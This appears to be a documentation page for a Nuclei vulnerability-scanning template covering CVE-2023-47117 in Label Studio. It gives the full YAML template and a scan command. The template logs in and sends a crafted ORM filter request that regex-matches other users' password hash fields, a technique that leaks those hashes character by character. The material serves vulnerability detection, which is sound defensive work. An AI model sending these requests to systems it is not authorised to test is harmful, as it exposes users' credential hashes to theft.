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Label Studio - Sensitive Information Exposure

ID: CVE-2023-47117

Severity: high

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2023,label_studio,oss,exposure,authenticated

Description

Section titled “Description”

An attacker can construct a filter chain to filter tasks based on sensitive fields for all user accounts on the platform by exploiting Django’s Object Relational Mapper (ORM). Since the results of query can be manipulated by the ORM filter, an attacker can leak these sensitive fields character by character.

YAML Source

Section titled “YAML Source”
id: CVE-2023-47117


info:
  name: Label Studio - Sensitive Information Exposure
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    An attacker can construct a filter chain to filter tasks based on sensitive fields for all user accounts on the platform by exploiting Django's Object Relational Mapper (ORM). Since the results of query can be manipulated by the ORM filter, an attacker can leak these sensitive fields character by character.
  reference:
    - https://security.snyk.io/vuln/SNYK-PYTHON-LABELSTUDIO-6056277
    - https://nvd.nist.gov/vuln/detail/CVE-2023-47117
    - https://github.com/elttam/publications
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-47117
    cwe-id: CWE-200
    epss-score: 0.0009
    epss-percentile: 0.38398
    cpe: cpe:2.3:a:humansignal:label_studio:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: humansignal
    product: label_studio
    shodan-query: http.favicon.hash:-1649949475
  tags: cve,cve2023,label_studio,oss,exposure,authenticated


variables:
  Task_id: "{{task}}"
  Project_id: "{{project}}"


http:
  - raw:
      - |
        GET /user/login/ HTTP/1.1
        Host: {{Hostname}}


      - |
        POST /user/login/?next=/projects/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        csrfmiddlewaretoken={{csrf}}&email={{username}}&password={{password}}&persist_session=on


      - |
        PATCH /api/dm/views/{{Task_id}}?interaction=filter&project={{Project_id}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json


        {"id":{{Task_id}},"data":{"title":"Tasks","ordering":[],"type":"list","target":"tasks","filters":{"conjunction":"or","items":[{"filter":"filter:tasks:updated_by__active_organization__active_users__password","operator":"regex","value":"^pbkdf2_sha256\\$260000\\$","type":"String"}]},"hiddenColumns":{"explore":[],"labeling":[]},"columnsWidth":{},"columnsDisplayType":{},"gridWidth":4,"search_text":null},"project":"{{Project_id}}"}


      - |
        GET /api/tasks?page=1&page_size=30&view={{Task_id}}&interaction=filter&project={{Project_id}} HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body_4, "completed_at", "file_upload", "annotators")'
          - 'status_code_3==200 && status_code_4==200'
          - 'contains(header_4, "application/json")'
        condition: and


    extractors:
      - type: regex
        part: body
        name: csrf
        group: 1
        regex:
          - 'me="csrfmiddlewaretoken" value="([a-zA-Z0-9]+)">'
        internal: true
# digest: 4a0a0047304502207ede49f75cc3169d09cd97e017a90b1324780dd85c1172ba0b74bec207388754022100cf8b92f1d05f057749e5c0d900ae33bbe48f69437106a099b805bb0711d9d1b0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-47117.yaml"

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